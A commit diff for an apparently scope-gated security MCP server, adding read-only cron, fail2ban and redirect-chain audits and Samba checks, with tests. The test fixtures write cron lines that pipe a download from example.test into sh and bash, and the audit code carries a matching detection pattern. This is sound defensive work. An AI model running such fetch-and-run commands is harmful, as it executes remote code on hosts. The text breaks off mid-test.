apex-twin 1.41.0: cron, fail2ban and redirect audits, Samba globals

Blue:
- cron_audit: /etc/crontab, /etc/cron.d and the user crontabs (root
  prefix): a world-writable file or directory and job lines that pipe a
  curl/wget download into a shell.
- fail2ban_audit: jail.local and jail.conf: a disabled sshd jail, ignoreip
  covering every address, maxretry 0, bantime 0 and no banaction anywhere.
- samba_audit extended: null passwords, map to guest = bad user, an SMB1
  minimum protocol and a world-writable config. No second Samba tool: the
  existing audit already parsed smb.conf and its shares.

Red:
- http_redirect_audit: follows up to five hops, re-checks the scope of every
  hop, and reports the chain, a cross-host hop and any HTTPS-to-HTTP
  downgrade. cors_check already covered reflected-origin CORS, so no
  duplicate http_cors_check was added.

Tests with Samba, cron and fail2ban trees and three HTTP servers (plain
chain, TLS downgrade with a CA-flagged cert via CURL_CA_BUNDLE, out-of-scope
hop). 944 checks, ASan suite green, analyze clean, release-check green
including distcheck 1.41.0.
This commit is contained in:
lotherk committed 2026-11-22 08:27:46 +00:00
1 parent 32c08b6f94
commit ac36d21857
9 files changed
+788 -16

No files matched your search

+18 -1
View File
@@ -8,7 +8,24 @@ fields, and state from an older version is read by a newer one.
There are no git tags. The hash next to a version is the commit that introduced
it; the current entry is the commit that adds this section.
## 1.40.0 — 2026-11-22 — this change
## 1.41.0 — 2026-11-22 — this change
- **Cron** (`cron_audit`): `/etc/crontab`, `/etc/cron.d` and the user
crontabs (root prefix): a world-writable file or directory and job lines
that pipe a `curl`/`wget` download into a shell.
- **Fail2ban** (`fail2ban_audit`): `jail.local` and `jail.conf`: a disabled
sshd jail, `ignoreip` covering every address, `maxretry = 0`, `bantime = 0`
and no `banaction` anywhere.
- **Redirects** (`http_redirect_audit`): follows up to five hops, re-checks
the scope of every hop, and reports the chain, a cross-host hop and any
HTTPS-to-HTTP downgrade.
- **Samba** (`samba_audit`): extended with `null passwords`,
`map to guest = bad user`, an SMB1 minimum protocol and a world-writable
config. No second Samba tool was added.
- Tests with Samba, cron and fail2ban trees and three HTTP servers (plain
chain, TLS downgrade, out-of-scope hop). 944 checks. Coverage 82.6%.
## 1.40.0 — 2026-11-22 — 32c08b6
- **WireGuard** (`wireguard_config_audit`): every `/etc/wireguard/*.conf`: a
private key file readable beyond its owner, `AllowedIPs` of `0.0.0.0/0` or
+11 -6
View File
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
testing behind a scope gate that refuses everything until a rules-of-engagement
file says otherwise.
**199 tools · 932 end-to-end checks · 340 fuzz cases · 82.3% line coverage · ~759 KiB**
**202 tools · 944 end-to-end checks · 340 fuzz cases · 82.6% line coverage · ~767 KiB**
```
$ ./apex-twin --check
{"version":"1.40.0","tools":199,...,"scope":{"loaded":true,...}}
{"version":"1.41.0","tools":202,...,"scope":{"loaded":true,...}}
```
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
@@ -149,7 +149,7 @@ closes a request whose head or body does not arrive within
---
## Tools (199)
## Tools (202)
### Scope and bookkeeping
@@ -202,6 +202,7 @@ uploads and secret-file reads. It does not execute anything.
| `http_headers` | Audit HSTS/CSP/frame/nosniff/referrer/permissions with reasons |
| `http_paths` | Built-in wordlist: `.git`, `.env`, admin, actuator, swagger, backups |
| `cors_check` | Marker `Origin`; grades reflection with credentials as high risk |
| `http_redirect_audit` | Follows redirects per hop inside the scope; flags HTTPS-to-HTTP downgrades |
| `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure |
| `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE |
| `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof |
@@ -396,6 +397,8 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
| `wireguard_config_audit` | wg conf: readable private key, 0.0.0.0/0 route, no ListenPort, curl pipe hooks |
| `ipsec_config_audit` | ipsec.conf/secrets: 0.0.0.0/0 subnet, PSK auth, no leftid, readable secrets |
| `openldap_config_audit` | slapd.conf: cleartext rootpw, anonymous bind, default read access |
| `cron_audit` | crontabs and cron.d: writable files/dirs, `curl \| sh` jobs |
| `fail2ban_audit` | jail.local/conf: disabled sshd jail, ignore-all, maxretry 0, no banaction |
### ESP32
@@ -663,6 +666,8 @@ The full threat model, trust boundaries and a hardening checklist are in
| NS consistency | up to three dig queries |
| wireguard/ipsec/openldap | config reads only; optional root prefix |
| dangling CNAME | up to eight dig queries, no data sent |
| cron/fail2ban | config reads only; optional root prefix |
| redirect chain | up to five GETs, every hop re-gated |
| USB audit | 200 devices, sysfs reads only |
---
@@ -674,7 +679,7 @@ Flags are fixed: `-std=c99 -Wall -Wextra -Wpedantic -Werror` plus
```sh
make # apex-twin
make test # version check + gate audit + 932 end-to-end checks
make test # version check + gate audit + 944 end-to-end checks
make version-check # the five places that carry a version must agree
make gate-audit # static: every target-taking tool calls the gate
make asan # apex-twin-asan with ASan + UBSan
@@ -794,7 +799,7 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery,
webdav_probe, dns_wildcard_check, dns_caa_check,
sni_vhost_check, tls_client_auth_probe,
kubernetes_api_probe, dns_ns_consistency,
dns_dangling_cname
dns_dangling_cname, http_redirect_audit
src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit,
detect_rules, integrity_baseline, mitre_map,
process_snapshot, persistence_audit, net_baseline,
@@ -837,7 +842,7 @@ examples/ scope.json
## Status
1.40.0. Built and run: 199 tools, 932 checks, 340 fuzz cases and 82.3% line
1.41.0. Built and run: 202 tools, 944 checks, 340 fuzz cases and 82.6% line
coverage. The loop closes: a probe captures the exchange as a pair, a finding
points at it, `finding_update` gives it a state, an asset records the host it
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
+4 -1
View File
@@ -9,7 +9,7 @@ problem.
The supported line is the one printed by `apex-twin --version` for the tree you
built; this document ships with that same tree. At the time of writing the line
is **1.40.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
is **1.41.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
and traffic only gain fields, so state stays readable; older builds are still
rebuilt rather than patched in place.
@@ -66,6 +66,9 @@ only narrow what the proxy does (the scope gate still runs first).
- **Firmware writing needs an explicit confirmation.** `esp_flash` refuses
without `confirm=true`, validates an absolute image path and audits the
attempt; it exists to provision the operator's own board.
- **Cron and fail2ban audits read local configuration; the redirect check
makes GETs.** `http_redirect_audit` follows up to five redirects and
re-checks the scope of every hop before following it.
- **WireGuard, IPsec and OpenLDAP audits read local configuration.** They
never touch a tunnel, a key exchange or a directory. The dangling-CNAME check
follows a chain with `dig`.
+4 -3
View File
@@ -1,5 +1,5 @@
.\" apex-twin.1 - manual page for APEX TWIN
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.40.0" "User Commands"
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.41.0" "User Commands"
.SH NAME
apex-twin \- scope\-gated offensive\-security MCP server
.SH SYNOPSIS
@@ -44,7 +44,7 @@ xxe_probe, ldap_probe, rdp_probe, smb_probe, vnc_probe, mqtt_probe,
graphql_probe, docker_api_probe, elasticsearch_probe, imap_probe, pop3_probe,
sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk,
ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe,
dns_ns_consistency, dns_dangling_cname),
dns_ns_consistency, dns_dangling_cname, http_redirect_audit),
defensive
audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules,
integrity_baseline, mitre_map, process_snapshot, persistence_audit,
@@ -62,7 +62,8 @@ mongodb_config_audit, memcached_config_audit, ntpd_config_audit,
bind9_config_audit, tomcat_audit, proftpd_audit, kubelet_config_audit,
etcd_config_audit, rabbitmq_audit, consul_config_audit, vault_config_audit,
zookeeper_audit, grafana_audit, prometheus_audit, wireguard_config_audit,
ipsec_config_audit, openldap_config_audit) and ESP32 board tools (esp_info, esp_monitor,
ipsec_config_audit, openldap_config_audit, cron_audit, fail2ban_audit)
and ESP32 board tools (esp_info, esp_monitor,
esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan,
esp_app_info, esp_image_verify).
.SH MODES
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "1.40.0"
#define APEX_VERSION "1.41.0"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+342 -1
View File
@@ -6194,6 +6194,9 @@ typedef struct {
int guest;
int writable;
int valid_users;
int null_pw;
int guest_map;
int smb1;
int active;
} smb_share;
@@ -6229,8 +6232,18 @@ static void smb_flush(smb_ctx *ctx, smb_share *sh)
if (!sh->active)
return;
sh->active = 0;
if (strcmp(sh->name, "global") == 0)
if (strcmp(sh->name, "global") == 0) {
if (sh->null_pw)
smb_finding(ctx, sh, "null-passwords", "high",
"accounts with an empty password may log in");
if (sh->guest_map)
smb_finding(ctx, sh, "guest-mapping", "medium",
"unknown users are mapped to guest");
if (sh->smb1)
smb_finding(ctx, sh, "smb1", "high",
"the minimum protocol still allows SMB1");
return;
}
ctx->shares++;
if (sh->path[0] != '\0' && strcmp(sh->path, "/") == 0)
smb_finding(ctx, sh, "root-share", "high",
@@ -6321,6 +6334,17 @@ static void smb_scan_file(smb_ctx *ctx, const char *path)
sh.valid_users = 1;
} else if (strcasecmp(key, "path") == 0) {
snprintf(sh.path, sizeof(sh.path), "%.200s", value);
} else if (strcasecmp(key, "null passwords") == 0) {
if (strcasecmp(value, "yes") == 0)
sh.null_pw = 1;
} else if (strcasecmp(key, "map to guest") == 0) {
if (strcasecmp(value, "bad user") == 0)
sh.guest_map = 1;
} else if (strcasecmp(key, "server min protocol") == 0) {
if (strcasecmp(value, "NT1") == 0 ||
strcasecmp(value, "SMB1") == 0 ||
strcasecmp(value, "CORE") == 0)
sh.smb1 = 1;
}
}
}
@@ -6329,6 +6353,21 @@ static void smb_scan_file(smb_ctx *ctx, const char *path)
fclose(f);
}
static void smb_perm_check(smb_ctx *ctx, const char *path)
{
struct stat st;
smb_share sh;
if (stat(path, &st) != 0 || !S_ISREG(st.st_mode))
return;
if ((st.st_mode & 0002) == 0)
return;
memset(&sh, 0, sizeof(sh));
snprintf(sh.name, sizeof(sh.name), "global");
smb_finding(ctx, &sh, "world-writable", "high",
"the Samba config is writable by anyone");
}
static void t_samba_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
@@ -6351,8 +6390,10 @@ static void t_samba_audit(mcp_conn *c, const mcp_json *args, void *user)
ctx.b = &findings;
ctx.first = 1;
snprintf(path, sizeof(path), "%s/etc/samba/smb.conf", base);
smb_perm_check(&ctx, path);
smb_scan_file(&ctx, path);
snprintf(path, sizeof(path), "%s/etc/smb.conf", base);
smb_perm_check(&ctx, path);
smb_scan_file(&ctx, path);
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
@@ -11339,6 +11380,291 @@ static void t_openldap_config_audit(mcp_conn *c, const mcp_json *args,
mcp_buf_free(&findings);
}
/* ---------------------------------------------------------------- cron_audit */
static int cron_job_line(const char *line)
{
const char *s = line;
while (*s == ' ' || *s == '\t')
s++;
if (*s == '\0' || *s == '#' || *s == ';')
return 0;
if (*s == '@')
return 1;
if (*s == '*' || (*s >= '0' && *s <= '9'))
return 1;
return 0;
}
static void cron_scan_file(mcp_buf *findings, int *first, int *count,
const char *path, int *files, int *jobs)
{
static char text[65536];
char dir[1024];
char line[1024];
const char *p;
struct stat st;
if (read_text(path, text, sizeof(text)) <= 0)
return;
(*files)++;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(findings, first, "world-writable", "high",
"%s is writable by anyone", path);
(*count)++;
}
snprintf(dir, sizeof(dir), "%.900s", path);
{
char *slash = strrchr(dir, '/');
if (slash != NULL) {
*slash = '\0';
if (stat(dir, &st) == 0 && S_ISDIR(st.st_mode) &&
(st.st_mode & 0002) != 0) {
add_finding(findings, first, "writable-dir",
"high",
"%s sits in a directory anyone "
"can write", path);
(*count)++;
}
}
}
p = text;
while (p != NULL && *p != '\0') {
const char *eol = strchr(p, '\n');
size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p);
if (len >= sizeof(line))
len = sizeof(line) - 1;
memcpy(line, p, len);
line[len] = '\0';
if (cron_job_line(line)) {
(*jobs)++;
if ((strstr(line, "curl") != NULL ||
strstr(line, "wget") != NULL) &&
(strstr(line, "| sh") != NULL ||
strstr(line, "|sh") != NULL ||
strstr(line, "| bash") != NULL ||
strstr(line, "|bash") != NULL)) {
add_finding(findings, first, "remote-shell",
"high",
"%s runs a download through a "
"shell", path);
(*count)++;
}
}
p = eol != NULL ? eol + 1 : NULL;
}
}
static void cron_scan_dir(mcp_buf *findings, int *first, int *count,
const char *dirpath, int *files, int *jobs)
{
DIR *d = opendir(dirpath);
struct dirent *ent;
if (d == NULL)
return;
while ((ent = readdir(d)) != NULL) {
char full[1200];
struct stat st;
size_t nl = strlen(ent->d_name);
if (ent->d_name[0] == '.')
continue;
if (nl > 0 && ent->d_name[nl - 1] == '~')
continue;
snprintf(full, sizeof(full), "%.900s/%.200s", dirpath,
ent->d_name);
if (stat(full, &st) != 0 || !S_ISREG(st.st_mode))
continue;
cron_scan_file(findings, first, count, full, files, jobs);
}
closedir(d);
}
static void t_cron_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
char path[1024];
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files = 0;
int jobs = 0;
int spool = 0;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
mcp_buf_init(&findings);
snprintf(path, sizeof(path), "%s/etc/crontab", root);
cron_scan_file(&findings, &first, &count, path, &files, &jobs);
snprintf(path, sizeof(path), "%s/etc/cron.d", root);
cron_scan_dir(&findings, &first, &count, path, &files, &jobs);
snprintf(path, sizeof(path), "%s/var/spool/cron/crontabs", root);
{
DIR *d = opendir(path);
if (d != NULL) {
closedir(d);
spool = 1;
cron_scan_dir(&findings, &first, &count, path, &files,
&jobs);
}
}
if (!spool) {
snprintf(path, sizeof(path), "%s/var/spool/cron", root);
cron_scan_dir(&findings, &first, &count, path, &files, &jobs);
}
if (files == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "cannot read a crontab");
return;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"files\":%d,\"jobs\":%d,\"findings_count\":%d,"
"\"findings\":[", files, jobs, count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ------------------------------------------------------------ fail2ban_audit */
static void fail2ban_scan_file(mcp_buf *findings, int *first, int *count,
const char *path, int *files, int *sshd_off,
int *ignore_all, int *no_ban, int *no_bantime,
int *action_seen)
{
static char text[65536];
char value[256];
struct stat st;
char *end = NULL;
long n;
if (read_text(path, text, sizeof(text)) <= 0)
return;
(*files)++;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(findings, first, "world-writable", "high",
"%s is writable by anyone", path);
(*count)++;
}
if (ini_value(text, "sshd", "enabled", value, sizeof(value)) &&
strcasecmp(value, "false") == 0)
*sshd_off = 1;
if (ini_value(text, "DEFAULT", "ignoreip", value, sizeof(value)) &&
(conf_has_word(value, "0.0.0.0/0") ||
conf_has_word(value, "::/0")))
*ignore_all = 1;
if (ini_value(text, "DEFAULT", "maxretry", value, sizeof(value))) {
n = strtol(value, &end, 10);
if (end != value && n == 0)
*no_ban = 1;
}
if (ini_value(text, "DEFAULT", "bantime", value, sizeof(value))) {
n = strtol(value, &end, 10);
if (end != value && n == 0)
*no_bantime = 1;
}
if ((ini_value(text, "DEFAULT", "banaction", value, sizeof(value)) &&
value[0] != '\0') ||
(ini_value(text, "DEFAULT", "action", value, sizeof(value)) &&
value[0] != '\0'))
*action_seen = 1;
}
static void t_fail2ban_audit(mcp_conn *c, const mcp_json *args, void *user)
{
static const char *files[] = { "/etc/fail2ban/jail.local",
"/etc/fail2ban/jail.conf", NULL };
const char *root = mcp_arg_string(args, "root");
char path[1024];
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files_read = 0;
int sshd_off = 0;
int ignore_all = 0;
int no_ban = 0;
int no_bantime = 0;
int action_seen = 0;
int i;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
mcp_buf_init(&findings);
for (i = 0; files[i] != NULL; i++) {
snprintf(path, sizeof(path), "%.400s%s", root, files[i]);
fail2ban_scan_file(&findings, &first, &count, path, &files_read,
&sshd_off, &ignore_all, &no_ban,
&no_bantime, &action_seen);
}
if (files_read == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "cannot read a fail2ban jail");
return;
}
if (sshd_off) {
add_finding(&findings, &first, "sshd-disabled", "high",
"the sshd jail is disabled");
count++;
}
if (ignore_all) {
add_finding(&findings, &first, "ignore-all", "high",
"ignoreip covers every address");
count++;
}
if (no_ban) {
add_finding(&findings, &first, "no-ban", "high",
"maxretry is zero, so no failed login is counted");
count++;
}
if (no_bantime) {
add_finding(&findings, &first, "no-bantime", "medium",
"bantime is zero, so a ban ends immediately");
count++;
}
if (!action_seen) {
add_finding(&findings, &first, "no-action", "medium",
"no banaction or action is configured");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"files\":%d,\"sshd_enabled\":%s,"
"\"ignore_all\":%s,\"action\":%s,\"findings_count\":%d,"
"\"findings\":[",
files_read, sshd_off ? "false" : "true",
ignore_all ? "true" : "false",
action_seen ? "true" : "false", count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
const mcp_tool TOOLS_BLUE[] = {
{ "hardening_audit",
"Read-only posture audit of the local host: sshd_config (root login, "
@@ -11962,6 +12288,21 @@ const mcp_tool TOOLS_BLUE[] = {
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_openldap_config_audit },
{ "cron_audit",
"Parse /etc/crontab, /etc/cron.d and the user crontabs (root prefix): a "
"world-writable file or directory and jobs that pipe curl or wget into a "
"shell. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_cron_audit },
{ "fail2ban_audit",
"Parse jail.local and jail.conf (root prefix, INI sections): a disabled "
"sshd jail, ignoreip covering every address, maxretry 0, bantime 0 and a "
"missing banaction. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_fail2ban_audit },
};
const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]);
+199
View File
@@ -1342,6 +1342,193 @@ static void t_curl(mcp_conn *c, const mcp_json *args, void *user)
}
}
/* ------------------------------------------------------- http_redirect_audit */
static int split_absolute_url(const char *url, char *host, size_t hn,
int *port, int *tls, char *path, size_t pn)
{
const char *rest;
const char *slash;
size_t auth_len;
int default_port;
if (strncasecmp(url, "https://", 8) == 0) {
*tls = 1;
default_port = 443;
rest = url + 8;
} else if (strncasecmp(url, "http://", 7) == 0) {
*tls = 0;
default_port = 80;
rest = url + 7;
} else {
return 0;
}
slash = strchr(rest, '/');
auth_len = slash != NULL ? (size_t)(slash - rest) : strlen(rest);
if (auth_len == 0 || auth_len >= hn)
return 0;
memcpy(host, rest, auth_len);
host[auth_len] = '\0';
{
char *colon = strrchr(host, ':');
if (colon != NULL && strchr(host, ':') == colon) {
char *end = NULL;
long p;
*colon = '\0';
p = strtol(colon + 1, &end, 10);
if (end == colon + 1 || *end != '\0' || p <= 0 ||
p > 65535)
return 0;
*port = (int)p;
} else {
*port = default_port;
}
}
if (host[0] == '\0')
return 0;
if (slash != NULL)
snprintf(path, pn, "%.*s", (int)(pn - 1), slash);
else
snprintf(path, pn, "/");
return 1;
}
static void t_http_redirect_audit(mcp_conn *c, const mcp_json *args,
void *user)
{
const char *target = mcp_arg_string(args, "target");
const char *path = mcp_arg_string(args, "path");
int port = mcp_arg_int(args, "port", 80);
int tls = mcp_arg_bool(args, "tls", looks_tls(port));
int max_hops = mcp_arg_int(args, "max_hops", 5);
char host[256];
char cur_path[512];
char location[600];
char reason[512];
int cur_port = port;
int cur_tls = tls;
int hop;
int hops = 0;
int final_code = 0;
int downgrade = 0;
int cross_host = 0;
mcp_buf b;
int first = 1;
(void)user;
if (target == NULL || *target == '\0') {
mcp_reply_error(c, "target is required");
return;
}
if (path == NULL || *path == '\0')
path = "/";
if (!safe_token(path, 512) || path[0] != '/') {
mcp_reply_error(c, "path must start with / and contain no control "
"characters");
return;
}
if (port <= 0 || port > 65535) {
mcp_reply_error(c, "port out of range");
return;
}
if (max_hops < 1 || max_hops > 10)
max_hops = 5;
if (!gated(c, "http_redirect_audit", target, port))
return;
snprintf(host, sizeof(host), "%.200s", target);
snprintf(cur_path, sizeof(cur_path), "%.400s", path);
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"target\":");
apex_json_str(&b, target);
mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"chain\":[", port,
tls ? "true" : "false");
for (hop = 0; hop < max_hops; hop++) {
char status[256];
char *resp = NULL;
size_t len = 0;
int code;
location[0] = '\0';
status[0] = '\0';
if (http_once(host, cur_port, cur_tls, "GET", cur_path, NULL, NULL,
15000, &resp, &len, status, sizeof(status), NULL,
NULL) != 0) {
free(resp);
break;
}
code = apex_status_code(status);
resp_header(resp, "location", location, sizeof(location));
free(resp);
hops++;
final_code = code;
if (!first)
mcp_buf_puts(&b, ",");
first = 0;
mcp_buf_puts(&b, "{\"host\":");
apex_json_str(&b, host);
mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"path\":", cur_port,
cur_tls ? "true" : "false");
apex_json_str(&b, cur_path);
mcp_buf_printf(&b, ",\"status\":%d,\"location\":", code);
apex_json_str(&b, location);
mcp_buf_puts(&b, "}");
if (code < 300 || code >= 400 || location[0] == '\0')
break;
{
char new_host[256];
char new_path[512];
int new_port = cur_port;
int new_tls = cur_tls;
if (strncasecmp(location, "http://", 7) == 0 ||
strncasecmp(location, "https://", 8) == 0) {
if (!split_absolute_url(location, new_host,
sizeof(new_host), &new_port,
&new_tls, new_path,
sizeof(new_path)))
break;
} else {
snprintf(new_host, sizeof(new_host), "%.200s",
host);
if (location[0] == '/')
snprintf(new_path, sizeof(new_path),
"%.400s", location);
else
snprintf(new_path, sizeof(new_path),
"/%.400s", location);
}
if (cur_tls && !new_tls)
downgrade = 1;
if (strcasecmp(new_host, target) != 0)
cross_host = 1;
if (!apex_scope_check(new_host, new_port, reason,
sizeof(reason)))
break;
snprintf(host, sizeof(host), "%.200s", new_host);
snprintf(cur_path, sizeof(cur_path), "%.400s", new_path);
cur_port = new_port;
cur_tls = new_tls;
}
}
if (hops == 0) {
mcp_buf_free(&b);
mcp_reply_error(c, "no response");
return;
}
mcp_buf_printf(&b, "],\"hops\":%d,\"final_status\":%d,"
"\"downgrade\":%s,\"cross_host\":%s}", hops,
final_code, downgrade ? "true" : "false",
cross_host ? "true" : "false");
apex_audit("http_redirect_audit", target, port, !downgrade,
downgrade
? "the redirect chain drops from HTTPS to plain HTTP"
: "no HTTPS downgrade in the redirect chain", host);
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
const mcp_tool TOOLS_WEB[] = {
{ "http_request",
"Send one HTTP request and return status line plus the whole response. Use "
@@ -1401,6 +1588,18 @@ const mcp_tool TOOLS_WEB[] = {
"\"tls\":{\"type\":\"boolean\"}},"
"\"required\":[\"target\"]}",
t_cors_check },
{ "http_redirect_audit",
"Follow up to max_hops redirects for one in-scope target, re-check the "
"scope of every hop, and report the chain, the final status, a cross-host "
"hop and any HTTPS-to-HTTP downgrade. Gate: the target.",
"{\"type\":\"object\",\"properties\":{"
"\"target\":{\"type\":\"string\"},"
"\"port\":{\"type\":\"integer\",\"description\":\"default 80\"},"
"\"tls\":{\"type\":\"boolean\"},"
"\"path\":{\"type\":\"string\",\"description\":\"default /\"},"
"\"max_hops\":{\"type\":\"integer\",\"description\":\"default 5\"}},"
"\"required\":[\"target\"]}",
t_http_redirect_audit },
{ "cookie_audit",
"Collect the Set-Cookie headers and audit each cookie: Secure, HttpOnly, "
"SameSite, and the SameSite=None-without-Secure combination browsers "
+1 -1
View File
@@ -21,7 +21,7 @@ import re
import sys
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
EXPECTED_TOOLS = 199
EXPECTED_TOOLS = 202
GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(")
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
# Tools whose "target" argument filters local records; they never touch it.
+208 -2
View File
@@ -134,7 +134,7 @@ res, _ = run([
], home=empty)
check("tools/list answers", any(r.get("id") == 1 for r in res))
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
check("199 tools registered", len(tools) == 199, len(tools))
check("202 tools registered", len(tools) == 202, len(tools))
names = {t["name"] for t in tools}
for need in ("portscan", "nmap", "http_request", "marauder_scan",
"method_playbook", "finding_add", "finding_update", "scope_check",
@@ -1560,7 +1560,7 @@ try:
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
init)
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
check("http tools/list", len(listing["result"]["tools"]) == 199)
check("http tools/list", len(listing["result"]["tools"]) == 202)
shown = post(call(3, "scope_show"))
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
# the id must be the request's id, not one found inside the arguments
@@ -9088,8 +9088,214 @@ shutil.rmtree(ldap_root, ignore_errors=True)
shutil.rmtree(ldap_good_root, ignore_errors=True)
shutil.rmtree(cfg12_home, ignore_errors=True)
print("\n== Samba, cron, fail2ban and redirect chains ==\n")
smb_root = tempfile.mkdtemp(prefix="apex-smb-")
os.makedirs(os.path.join(smb_root, "etc", "samba"))
smb_bad = os.path.join(smb_root, "etc", "samba", "smb.conf")
with open(smb_bad, "w") as f:
f.write("[global]\n")
f.write(" workgroup = WORKGROUP\n")
f.write(" server min protocol = NT1\n")
f.write(" map to guest = bad user\n")
f.write(" null passwords = yes\n")
f.write("\n[public]\n")
f.write(" path = /srv/public\n")
f.write(" guest ok = yes\n")
f.write(" read only = yes\n")
os.chmod(smb_bad, 0o666)
smb_good_root = tempfile.mkdtemp(prefix="apex-smbg-")
os.makedirs(os.path.join(smb_good_root, "etc", "samba"))
with open(os.path.join(smb_good_root, "etc", "samba", "smb.conf"), "w") as f:
f.write("[global]\n")
f.write(" server min protocol = SMB3\n")
f.write(" map to guest = never\n")
f.write(" null passwords = no\n")
f.write("\n[data]\n")
f.write(" path = /srv/data\n")
f.write(" guest ok = no\n")
cron_root = tempfile.mkdtemp(prefix="apex-cron-")
os.makedirs(os.path.join(cron_root, "etc", "cron.d"))
cron_bad = os.path.join(cron_root, "etc", "cron.d", "backup")
with open(cron_bad, "w") as f:
f.write("SHELL=/bin/sh\n")
f.write("*/5 * * * * root curl -fsSL http://example.test/x.sh | sh\n")
os.chmod(cron_bad, 0o666)
spool_dir = os.path.join(cron_root, "var", "spool", "cron", "crontabs")
os.makedirs(spool_dir)
os.chmod(spool_dir, 0o777)
with open(os.path.join(spool_dir, "alice"), "w") as f:
f.write("0 3 * * * wget -qO- http://example.test/y.sh | bash\n")
cron_good_root = tempfile.mkdtemp(prefix="apex-crong-")
os.makedirs(os.path.join(cron_good_root, "etc", "cron.d"))
with open(os.path.join(cron_good_root, "etc", "crontab"), "w") as f:
f.write("SHELL=/bin/sh\n")
f.write("17 * * * * root /usr/local/bin/backup.sh\n")
with open(os.path.join(cron_good_root, "etc", "cron.d", "sync"), "w") as f:
f.write("*/10 * * * * root /usr/bin/rsync -a /srv/ /backup/\n")
f2b_root = tempfile.mkdtemp(prefix="apex-f2b-")
os.makedirs(os.path.join(f2b_root, "etc", "fail2ban"))
f2b_bad = os.path.join(f2b_root, "etc", "fail2ban", "jail.local")
with open(f2b_bad, "w") as f:
f.write("[DEFAULT]\n")
f.write("ignoreip = 127.0.0.1/8 0.0.0.0/0\n")
f.write("maxretry = 0\n")
f.write("bantime = 0\n")
f.write("\n[sshd]\n")
f.write("enabled = false\n")
os.chmod(f2b_bad, 0o666)
f2b_good_root = tempfile.mkdtemp(prefix="apex-f2bg-")
os.makedirs(os.path.join(f2b_good_root, "etc", "fail2ban"))
with open(os.path.join(f2b_good_root, "etc", "fail2ban", "jail.local"),
"w") as f:
f.write("[DEFAULT]\n")
f.write("ignoreip = 127.0.0.1/8\n")
f.write("maxretry = 5\n")
f.write("bantime = 1h\n")
f.write("banaction = iptables-multiport\n")
f.write("\n[sshd]\n")
f.write("enabled = true\n")
def route_server(bind_ip, routes, cert=None, key=None):
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlsplit(self.path).path
location = routes.get(path)
if location is None:
body = b"ok"
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
